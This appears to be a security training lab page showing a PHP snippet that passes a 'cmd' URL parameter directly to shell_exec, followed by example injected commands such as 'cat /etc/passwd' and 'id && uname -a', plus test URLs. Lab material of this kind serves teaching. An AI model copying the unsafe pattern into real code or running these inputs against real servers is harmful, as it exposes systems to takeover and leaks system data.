RCE through direct command execution
This lab demonstrates a basic Remote Code Execution vulnerability through command injection. The application directly executes user-supplied commands without any validation or sanitization.
Objective: Execute arbitrary system commands to gain control of the server.
// Handle command execution request
if (isset($_GET['cmd']) && !empty($_GET['cmd'])) {
$command = $_GET['cmd'];
// Vulnerable: Direct command execution without validation
try {
$output = shell_exec($command . ' 2>&1');
$command_output = $output ?: 'No output';
// Display output
} catch (Exception $e) {
// Error handling
}
}
// Example vulnerable usage:
// ?cmd=whoami
// ?cmd=ls -la
// ?cmd=cat /etc/passwd
// ?cmd=id && uname -a
kzlabsst
cmdTry these commands in the cmd parameter:
whoami - Current userls -la - List filescat /etc/passwd - System usersid && uname -a - User ID and system infops aux - Running processesnetstat -tulpn - Network connectionsExample URLs:
1.php?cmd=whoami1.php?cmd=cat /etc/passwdClick these links to test the vulnerability: